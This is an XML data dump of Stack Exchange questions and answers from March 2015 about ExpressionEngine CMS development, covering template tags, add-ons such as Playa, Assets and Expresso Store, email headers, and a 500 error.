  <row Id="30716" PostTypeId="1" CreationDate="2015-03-25T12:14:39.410" Score="0" ViewCount="55" Body="&lt;p&gt;Good morning,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have a slight problem on a project i'm developing. Using EE2.9.2 and Store 2.5.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my templating setup for my products, cart, confirmation page. Currently using the MANUAL payment gateway since we're still in development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I complete an order everything works on the frontend. I receive de default confirmation email since i haven't changed that yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In de backend however I do see my customers appear but i DON'T see the orders appear. The order list is completely empty but the database does show the corresponding entries made by test purchased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps an error in 2.5.0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regard,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2016-06-06T09:58:55.607" Title="Orders not showing up" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30717" PostTypeId="2" ParentId="30711" CreationDate="2015-03-25T12:25:28.177" Score="3" Body="&lt;p&gt;If you're looking to change the column layout as well as the look, try the module Zenbu. It will let you customize which columns are visible from the Edit Entries view. You can show expiration dates, edit dates, custom field data, etc. You can also vary what columns are shown based on member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/zenbu&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/zenbu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3412" LastActivityDate="2015-03-25T12:25:28.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30718" PostTypeId="2" ParentId="30711" CreationDate="2015-03-25T13:33:49.467" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/dashee&quot; rel=&quot;nofollow&quot; title=&quot;dashEE&quot;&gt;dashEE&lt;/a&gt; is another great plug in that allows you to alter the main dashboard and replace it with a lot of useful tools. &lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-25T13:33:49.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30719" PostTypeId="2" ParentId="30710" CreationDate="2015-03-25T13:40:26.497" Score="1" Body="&lt;p&gt;Unfortunately, logging into the front end will not log you into the EE control panel. You must re-login at admin.php &lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-25T13:40:26.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30720" PostTypeId="1" CreationDate="2015-03-25T14:04:58.260" Score="0" ViewCount="75" Body="&lt;p&gt;I'm troubleshooting a problem with an older, rarely updated site, so I'm not sure how recently this issue cropped up, though I'm fairly certain it worked when I handed it off. We have a Low Variable set as a Wygwam field using Assets for images. When we use Asssets to insert images into the field, we get an img tag with an src like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{assets_795:http://domain.com{filedir_5}1382581981.jpg}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what's going on there?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.7.2&lt;/li&gt;&#xA;&lt;li&gt;Wygwam 3.2.2&lt;/li&gt;&#xA;&lt;li&gt;Assets 2.2.2&lt;/li&gt;&#xA;&lt;li&gt;Low Variable 2.4.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UPDATE: It just occurred to me that the EE server this site lives on (which is multi-site) has had these add ons updated since I built the site, though I'm not sure how relevant that is to this particular issue.&lt;/p&gt;&#xA;" OwnerUserId="2339" LastEditorUserId="-1" LastEditDate="2015-03-25T16:30:56.260" LastActivityDate="2016-06-05T09:49:58.233" Title="Weird URLs for images from Assets" Tags="|assets|pixelandtonic|wygwam|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30721" PostTypeId="1" CreationDate="2015-03-25T15:39:30.397" Score="1" ViewCount="67" Body="&lt;p&gt;after moving my site from one production environment to another, Im getting strange results in a Playa field.  the tags are not being parsed, but values have been set.  what causes this sort of behavior? where the &lt;code&gt;{product_vineyard_appellation}&lt;/code&gt; tags are not being parsed in the if conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the output on the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_vineyard_appellation}&#xA;  &amp;lt;dt&amp;gt;Appellation&amp;lt;/dt&amp;gt;&#xA;  &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;LINK&quot; class=&quot;vineyard-appellation&quot; id=&quot;ID&quot;&amp;gt;Estate Malbec&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;{/product_vineyard_appellation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if product_vineyard_appellation}&#xA;  {product_vineyard_appellation}&#xA;  &amp;lt;dt&amp;gt;{if channel_short_name == &quot;vineyards&quot;}Vineyard{if:else}Appellation{/if}&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;/our-story/{channel_short_name}/{url_title}&quot; class=&quot;vineyard-appellation&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;  {/product_vineyard_appellation}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6167" LastActivityDate="2015-03-25T15:39:30.397" Title="Playa fields not parsing tags" Tags="|playa|parsing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30726" PostTypeId="1" AcceptedAnswerId="31620" CreationDate="2015-03-25T21:35:18.873" Score="3" ViewCount="84" Body="&lt;p&gt;I’ve spotted an issue with the Expresso Store discounts detail page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. /cp/addons_modules/show_module_cp?module=store&amp;amp;sc=discounts&amp;amp;sm=edit&amp;amp;id=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have ‘lots of entries’ (we have 124,114) then the discounts page take forever to load as it attempts to populate the ‘Match Entries’ multi select field with every single entry in the CMS!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how we can fix/hack this so it’s usable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:/&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-05-25T19:45:49.997" Title="Expresso Store Discounts page takes ages to load with DB with lots of entries" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30727" PostTypeId="1" AcceptedAnswerId="30728" CreationDate="2015-03-25T21:54:59.520" Score="0" ViewCount="91" Body="&lt;p&gt;I have a custom field where the publisher can choose what time zone they want the entry date to display as, but I'm having trouble when trying to use it in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='events'&#xA;}&#xA;    {entry_date format='%g:%i%a %T' timezone='{events_tz}'}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since both tags are parsed at the same time, the &lt;code&gt;{events_tz}&lt;/code&gt; field doesn't get parsed in time to be applied as a parameter to the date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I accomplish this? I'm willing to use Stash, if necessary.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2015-03-31T21:57:32.777" Title="Use Custom Field as Timezone Parameter in Date Field" Tags="|custom-fields|parse-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30728" PostTypeId="2" ParentId="30727" CreationDate="2015-03-25T22:21:30.197" Score="1" Body="&lt;p&gt;If I'm inferring correctly, there are events in multiple time zones and they want each to show in the time that is local to the location of the event. If so, I think what you want is &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/custom_fields_edit.html#field-type&quot; rel=&quot;nofollow&quot;&gt;Fixed&lt;/a&gt; instead of Localized, and just output the time zone next to the date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must use entry date, which will always be localized, you could create a simple plugin that accepts the UTC timestamp and the timezone and return a formatted date, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:your_date_plugin timestamp='{entry_date}' timezone='{events_tz}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2015-03-26T04:34:57.987" LastActivityDate="2015-03-26T04:34:57.987" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30730" PostTypeId="2" ParentId="30637" CreationDate="2015-03-26T01:51:50.593" Score="2" Body="&lt;p&gt;You also have to update exp_store_stock with some basic info.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2015-03-26T01:51:50.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30732" PostTypeId="1" AcceptedAnswerId="30733" CreationDate="2015-03-26T04:31:02.940" Score="0" ViewCount="2405" Body="&lt;p&gt;I need to provide an email form on my website that'll email members. I want to be able to set custom mail headers before the email is sent (I'm using Mandrill, so custom headers allow me additional features). I don't see anything in the docs about custom mail headers: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/email.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do in EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created an extension. And looking at this: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/email/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/email/index.html&lt;/a&gt; -- it seems I should be able to set the headers by manipulating &lt;code&gt;$data['headers']&lt;/code&gt;. I have this in my extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function email_send(&amp;amp;$data)&#xA;{       &#xA;    $data['subject']        = 'Hello World';&#xA;    $data['headers']['foo'] = 'bar';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I receive the email, the subject is &quot;Hello World&quot;. However, when I look at the headers, I do not see &lt;code&gt;foo&lt;/code&gt; =&gt; &lt;code&gt;bar&lt;/code&gt; in it. I've checked with my host to see if there is anything that the hosting might be doing to strip custom headers. They claim no. So, the next question: &lt;strong&gt;is there anything in EE that might be preventing me from setting custom headers?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently configured to use PHP Mail, but I do want to use SMTP for this eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I configure CPanel to use either &lt;code&gt;Sendmail&lt;/code&gt; or &lt;code&gt;SMTP&lt;/code&gt;, the subject does not get set to &quot;Hello World&quot;. Instead, it says &quot;Contact Form Email&quot;. Summary:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Subject only gets set when in PHP Mail&lt;/li&gt;&#xA;&lt;li&gt;Email headers not set in PHP Mail, Sendmail, or SMTP&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2015-04-19T20:36:27.903" LastActivityDate="2015-04-28T11:38:46.313" Title="Setting Custom Email Headers" Tags="|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30733" PostTypeId="2" ParentId="30732" CreationDate="2015-03-26T07:50:27.087" Score="2" Body="&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;email-&amp;gt;set_header($header, $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't documented anywhere, but I see this function in CodeIgniter's Email library (which EE Email library extends), so I assume it should work fine.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-26T07:50:27.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30734" PostTypeId="1" CreationDate="2015-03-26T10:30:05.567" Score="0" ViewCount="53" Body="&lt;p&gt;I need compose search string for this condition:&#xA;Search in Home category and Cat or Dog.&#xA;I tried like this: category=53&amp;amp;&amp;amp;236+47 but in don't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need only search string, Without form for searching&lt;/p&gt;&#xA;" OwnerUserId="1053" LastEditorUserId="22" LastEditDate="2015-03-26T13:35:01.513" LastActivityDate="2016-06-02T06:17:23.520" Title="Difficult category search with Solspace Super Search" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30736" PostTypeId="1" CreationDate="2015-03-26T11:07:43.860" Score="0" ViewCount="712" Body="&lt;p&gt;Good Morning.  We are using ExpressionsEngine 2.0 and a couple of days ago the landing page in /admin/index.php has been returning 500 internal server error.  I did not install of the CMS and I am very new to ExpressionEngine.  It was working about two week ago.   Here is the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 128M&#xA;# Standard .htaccess file&#xA;&#xA;# Secure .htaccess file&#xA;&amp;lt;Files .htaccess&amp;gt;&#xA; order allow,deny&#xA; deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&#xA;# Don't show any directory without an index file&#xA;Options -Indexes&#xA;&#xA;# Dont list files in index pages&#xA;IndexIgnore *&#xA;&#xA;# EE 404 page for missing pages&#xA;# May differ depending on where your template is located.&#xA;ErrorDocument 404 /index.php?/core/404&#xA;&#xA;# Enable Rewrite Engine&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't know if this is being used or if the index.php is what is used however I suspect it is the index.php.  this is the only setting I see changed in the index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * --------------------------------------------------------------------&#xA; *  System Path&#xA; * --------------------------------------------------------------------&#xA; *&#xA; * The following variable contains the server path to your&#xA; * ExpressionEngine &quot;system&quot; folder.  By default the folder is named&#xA; * &quot;system&quot; but it can be renamed or moved for increased security.&#xA; * Indicate the new name and/or path here. The path can be relative&#xA; * or it can be a full server path.&#xA; *&#xA; * http://expressionengine.com/user_guide/installation/best_practices.html&#xA; *&#xA; */&#xA;        $system_path = './admin';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&#xA;Thanks   &lt;/p&gt;&#xA;" OwnerUserId="6170" LastEditorUserId="425" LastEditDate="2015-03-28T17:02:59.677" LastActivityDate="2015-03-28T17:02:59.677" Title="500 Error on index.php landing page" Tags="|error-500|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30737" PostTypeId="2" ParentId="30720" CreationDate="2015-03-26T12:30:17.857" Score="0" Body="&lt;p&gt;How is the LV called? It should be called using the Parse or Single tag to process those unparsed vars, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;my_wygwam_var&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-03-26T12:30:17.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30738" PostTypeId="2" ParentId="21433" CreationDate="2015-03-26T14:02:49.620" Score="1" Body="&lt;p&gt;You will need &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to get this working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting the stash&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if logged_in}&#xA;    {exp:store:orders member_id=&quot;CURRENT_USER&quot; paid=&quot;yes&quot;}&#xA;      {if is_order_paid}&#xA;        {exp:stash:append name=&quot;verify_product&quot; trim=&quot;yes&quot;}&#xA;          {items}{entry_id}|{/items}&#xA;        {/exp:stash:append}&#xA;      {/if}&#xA;    {/exp:store:orders}&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output the variables&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrap &lt;code&gt;exp:channel:entries&lt;/code&gt; loop with &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}{/exp:stash:parse}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the entries loop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if &quot;{exp:stash:verify_product}&quot; ~ &quot;/{entry_id}\b/&quot;}&#xA;  You have already brought this map&#xA;{if:else}&#xA;  {exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;{current_path}&quot;}&#xA;    {if qty_in_cart}&#xA;      This product is already in your cart.&#xA;    {if:else}&#xA;      {price} &amp;lt;input type=&quot;text&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt; &amp;lt;button type=&quot;submit&quot;&amp;gt;Add to cart&amp;lt;/button&amp;gt; &amp;lt;button type=&quot;submit&quot;&amp;gt;Add to cart&amp;lt;/button&amp;gt;&#xA;    {/if}&#xA;  {/exp:store:product}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclamer&lt;/strong&gt;: You will need latest version of EE to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#matches-operator&quot; rel=&quot;nofollow&quot;&gt;Matches operator&lt;/a&gt; conditional&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="1350" LastEditDate="2015-03-26T15:30:38.317" LastActivityDate="2015-03-26T15:30:38.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30739" PostTypeId="2" ParentId="30734" CreationDate="2015-03-26T14:37:07.877" Score="0" Body="&lt;p&gt;Unfortunately you cannot combine AND and OR searches at this time. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-26T14:37:07.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30741" PostTypeId="2" ParentId="30680" CreationDate="2015-03-26T15:19:21.093" Score="0" Body="&lt;p&gt;Ok, got this figured out. You can embed a call to a Playa parent within the Playa child. I'm still using the var_prefix to avoid collisions...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;doctors_locations&quot; var_prefix=&quot;loc&quot;}&#xA;    &amp;lt;li class=&quot;accordion-navigation{if {loc:count} == 1} active{/if}&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#id-{loc:count}-{exp:playa:parents limit='1'}{url_title}{/exp:playa:parents}&quot; class=&quot;accordion-toggle location-name&quot;&amp;gt;{loc:locations_displayed_name}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div id=&quot;id-{loc:count}-{exp:playa:parents limit='1'}{url_title}{/exp:playa:parents}&quot; class=&quot;content{if {loc:count} == 1} active{/if}&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to make sure you set the limit='1' so the parent url_title does not repeat for every iteration.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-03-26T15:19:21.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30742" PostTypeId="1" CreationDate="2015-03-26T15:35:43.847" Score="1" ViewCount="74" Body="&lt;p&gt;It would be nice to have a config option to control a confirmation dialog before performing a drag and drop operation.  There would ideally be two options: one that controls the dialog for folder moves and one that controls the dialog for file moves.  When a folder or file is dragged/dropped, a dialog would ask the user to confirm his or her intentions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I can't consistently reproduce it, there are times where folders are accidentally dragged/dropped.  This appears to occur most often when Assets is busy trying to load its thumbnails and you go to click a different folder.  It's as if the first folder selection hasn't released yet, so Assets tries to drop it on the newly selected folder, things go crazy, and now there's an accidental drag/drop.&lt;/p&gt;&#xA;" OwnerUserId="2766" LastActivityDate="2016-03-11T08:27:05.843" Title="Add Drag/Drop Confirmation to Assets" Tags="|assets|feature-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30743" PostTypeId="2" ParentId="30581" CreationDate="2015-03-26T16:10:39.527" Score="2" Body="&lt;p&gt;Just had a pretty bad issue like this, and after looking at the DB, I found the problem with lft/lgt. See: &lt;a href=&quot;http://buildwithstructure.com/documentation/debug_mode_for_page_data/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/debug_mode_for_page_data/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bug was resolved by fixing duplicates with the debug mode.&lt;/p&gt;&#xA;" OwnerUserId="6172" LastActivityDate="2015-03-26T16:10:39.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30744" PostTypeId="1" CreationDate="2015-03-26T16:51:17.767" Score="0" ViewCount="92" Body="&lt;p&gt;I have a Matrix field with a Playa field in it. I'd like to sort the output of the Matrix using a text field from the Playa field. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code; I'd like to be able to sort by {former_member_info:people_n_family}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;org_units&quot; status=&quot;open&quot; dynamic=&quot;yes&quot; disable=&quot;{mcc_disable_mem_pag}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;{org_units_members_mtx var_prefix=&quot;former_members&quot;}&#xA;        {former_members:org_units_member_name_rel var_prefix=&quot;former_member_info&quot;}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td width=&quot;25%&quot;&amp;gt;{former_member_info:people_n_first} {former_member_info:people_n_family}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td width=&quot;35%&quot;&amp;gt;{if '{former_members:org_units_member_title}' != &quot;&quot;}{former_members:org_units_member_title}{if:else}{former_member_info:people_title}{/if}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td width=&quot;20%&quot;&amp;gt;{former_members:org_units_member_date_start format=&quot;%F %j, %Y&quot;}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td width=&quot;20%&quot;&amp;gt;{former_members:org_units_member_date_end format=&quot;%F %j, %Y&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        {/former_members:org_units_member_name_rel}&#xA;{/org_units_members_mtx}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2016-06-16T00:13:44.180" Title="Sort a Matrix using a Playa field inside the Matrix?" Tags="|matrix|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30745" PostTypeId="2" ParentId="30709" CreationDate="2015-03-26T16:58:56.030" Score="0" Body="&lt;p&gt;This is most likely happening due to a parsing conflict between &lt;code&gt;{exp:channel:entries}&lt;/code&gt; and &lt;code&gt;{exp:playa:parent}&lt;/code&gt; – the former is parsing your &lt;code&gt;{title}&lt;/code&gt; tag before Playa can get to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to solve it is with Playa’s &lt;code&gt;var_prefix&lt;/code&gt; parameter, which allows you to alias the tags that Playa is supposed be parsing, so that other tags won’t see them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents&#xA;  channel=&quot;projects&quot;&#xA;  disable=&quot;member_data|pagination|trackbacks&quot;&#xA;  var_prefix=&quot;project&quot;&#xA;}&#xA;    {project:title}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2015-03-26T16:58:56.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30746" PostTypeId="1" CreationDate="2015-03-26T20:20:59.857" Score="0" ViewCount="91" Body="&lt;p&gt;Expression Engine v2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a paid licensed version of the Solspace Freeform Pro (4.2.2) module. The current permissions model for this plugin does not allow Expression Engine Control Panel per-form viewing and moderation to different EE Member Groups. It allows permission settings on the parent Module only (which means access to all forms). This has been confirmed by Solspace support as of today (2015-03-26).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have EE Member Groups that should only be permitted to view form submissions (and moderate said form submissions) that they have access to via the EE Control Panel. (I don't want to have to make a front-end templated interface to allow permitted users to approve at that level, although if left with no choice I will do that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am comfortable hacking at the Freeform Pro source code to add this feature, but I need some guidance/guidelines on applying the Expression Engine Permissions Member Groups module. I see the Expression Engine docs on the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/cp.html#allowed-group&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cp::allowed_group() method&lt;/a&gt; but it's pretty slim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, if there are any third-party plugins that already use the EE Member Group level permissions model that I can take a peek at the source code to see how it has been done before within the EE Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt; &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18918/&quot;&gt;This person&lt;/a&gt; has the same request but didn't get an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; &lt;a href=&quot;https://github.com/mrtopher/dashEE/blob/master/third_party/dashee/widgets/wgt.modify_links.php#L42-L51&quot; rel=&quot;nofollow noreferrer&quot;&gt;dashEE&lt;/a&gt; does this. That might be enough to get me going and/or I will contact the developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-06-11T07:09:05.350" Title="Per form permissions for Solspace Freeform for different EE Member Groups: plugin examples that use EE Member Group privileges model" Tags="|solspace-freeform|solspace|members|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30747" PostTypeId="2" ParentId="30693" CreationDate="2015-03-26T21:02:56.560" Score="0" Body="&lt;p&gt;Do you have an htaccess rule or something else setup that block ajax requests? Is your site set to offline while you develop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That error message is from EE, not Wyvern, so like the message says something else isn't configured correctly.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-03-26T21:02:56.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30748" PostTypeId="2" ParentId="28801" CreationDate="2015-03-26T21:37:05.357" Score="0" Body="&lt;p&gt;This sounds a bit more complex than Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These relationships sound similar to &lt;code&gt;cladograms&lt;/code&gt; or &lt;code&gt;phylogenetic trees&lt;/code&gt; in Biology, but in reverse. And similar to parent-child syntax trees, but in reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://ironcreek.net/phpsyntaxtree/&quot; rel=&quot;nofollow noreferrer&quot;&gt;phpSyntaxTree&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is a PHP library to create images on-the-fly based on parent-child relationships of syntax. Example syntax and image output below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[Horse-0 [Horse-1][Horse-2 [Horse-3][Horse-4 [Horse5][Horse6]]]]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rDgj7.png&quot; alt=&quot;phpSyntaxTree results&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could see you dynamically generating this string based on your parent-child relationships, and outputting an image based on a call to this library. It does assume you have some inner working of PHP and calling PHP libraries under the EE hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-03-26T21:37:05.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
